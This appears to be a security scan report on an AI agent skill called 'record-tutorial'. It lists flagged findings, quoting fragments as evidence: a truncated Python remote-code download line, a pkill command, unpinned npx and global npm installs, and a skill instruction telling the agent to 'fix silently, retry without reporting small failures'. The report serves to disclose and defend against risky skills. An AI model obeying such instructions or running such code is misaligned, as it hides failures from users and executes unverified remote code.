This skill masquerades as a recording tool while executing unverified remote code, manipulating host processes, and instructing the agent to hide errors and malicious activity from the user.
npx skills add https://github.com/MustaphaSteph/vorec-pluginsThe skill content contains multiple critical security findings, specifically remote code download and execution, and the use of unpinned dependencies, which contradicts the claimed purpose of a simple recording tool.
Static analysis flagged [critical] MONDOO_AGENT_SKILL_CE_003 (Remote code download and execution) and multiple [medium] MONDOO_AGENT_SKILL_SC_005 (Unpinned npx package execution).
The instructions explicitly tell the agent to 'fix silently' and 'retry without reporting small failures', which encourages the agent to hide potentially significant errors or malicious behavior from the human user. [ensemble: confirmed by 3/3 passes; severity set to the agreed median (ADR-0067).]
Fix silently, retry without reporting small failures
Remote code download and execution detected
python3 -c "from urllib
The skill explicitly instructs the agent to override standard process management by using custom `pkill` patterns and scoped profile paths, which risks interfering with the host's browser management and potentially hiding malicious processes. [ensemble: confirmed by 3/3 passes; severity set to the agreed median (ADR-0067).]
pkill -f "$SESSION_PROFILE" 2>/dev/null || true
child_process module imported — any exec/execSync/spawn call executes OS commands
import { exec } from 'node:child_process';NER model detected organization in skill content (confidence: 0.51)
V***
NER model detected organization in skill content (confidence: 0.71)
V****
NER model detected organization in skill content (confidence: 0.83)
D********
NER model detected organization in skill content (confidence: 0.84)
V*************
NER model detected organization in skill content (confidence: 0.70)
*
NER model detected organization in skill content (confidence: 0.96)
*
The instructions mandate the use of `npm install -g` and `npx @latest` for core tooling, which bypasses environment-specific dependency management and introduces risks of executing unverified, latest-version code.
npm install -g agent-browser
Unpinned npx package execution — `npx <pkg>` without a version pin pulls latest from npm at runtime (seen 3 times in this file at lines 165, 3677, 4089)
npx cache
Global/unverified dependency execution — global npm/yarn package, dotnet tool, or auto-confirmed npx run without version or integrity pinning (seen 4 times in this file at lines 190, 194, 668, 3674)
npm install -g
Post-install or dynamic dependency fetching — runtime code loading from untrusted sources
require()`, `import`, `fs`, `process` — browser sandbox only - `console.log` does NOT appear in stdout — use `return` for output - For anything needing Node APIs, write a standalone `.mjs` script instead ## Related files - [./cli-commands.md](./cli-commands.md) — Core commands (open, click, snapshot) - [../SKILL.md](../SKILL.md) — Manifest format +
SKILL.md links to "cli-commands.md" but the file is not part of the skill package — the workflow silently degrades or the content is sourced elsewhere at runtime
[./cli-commands.md](./cli-commands.md)
SKILL.md links to "context-writing.md" but the file is not part of the skill package — the workflow silently degrades or the content is sourced elsewhere at runtime
[./context-writing.md](./context-writing.md)
SKILL.md links to "live-site-discovery.md" but the file is not part of the skill package — the workflow silently degrades or the content is sourced elsewhere at runtime
[./live-site-discovery.md](./live-site-discovery.md)
SKILL.md links to "narration-rules.md" but the file is not part of the skill package — the workflow silently degrades or the content is sourced elsewhere at runtime
[./narration-rules.md](./narration-rules.md)
SKILL.md links to "pacing.md" but the file is not part of the skill package — the workflow silently degrades or the content is sourced elsewhere at runtime
[./pacing.md](./pacing.md)
Skill does not specify a license field. Specifying a license helps users understand usage terms.
Hidden/zero CSS (display:none, visibility:hidden, opacity:0, font-size:0) — weak hidden-content signal (common in legitimate UI/animation) (seen 2 times in this file at lines 366, 371)
opacity:0
[](https://mondoo.com/ai-agent-security/skills/github/MustaphaSteph/vorec-plugins/record-tutorial)<a href="https://mondoo.com/ai-agent-security/skills/github/MustaphaSteph/vorec-plugins/record-tutorial"><img src="https://mondoo.com/ai-agent-security/api/badge/github/MustaphaSteph/vorec-plugins/record-tutorial.svg" alt="Mondoo Skill Check" /></a>https://mondoo.com/ai-agent-security/api/badge/github/MustaphaSteph/vorec-plugins/record-tutorial.svgSkills can read files, run commands, and access credentials. Mondoo helps organizations manage the security risks of AI agent skills across their entire fleet.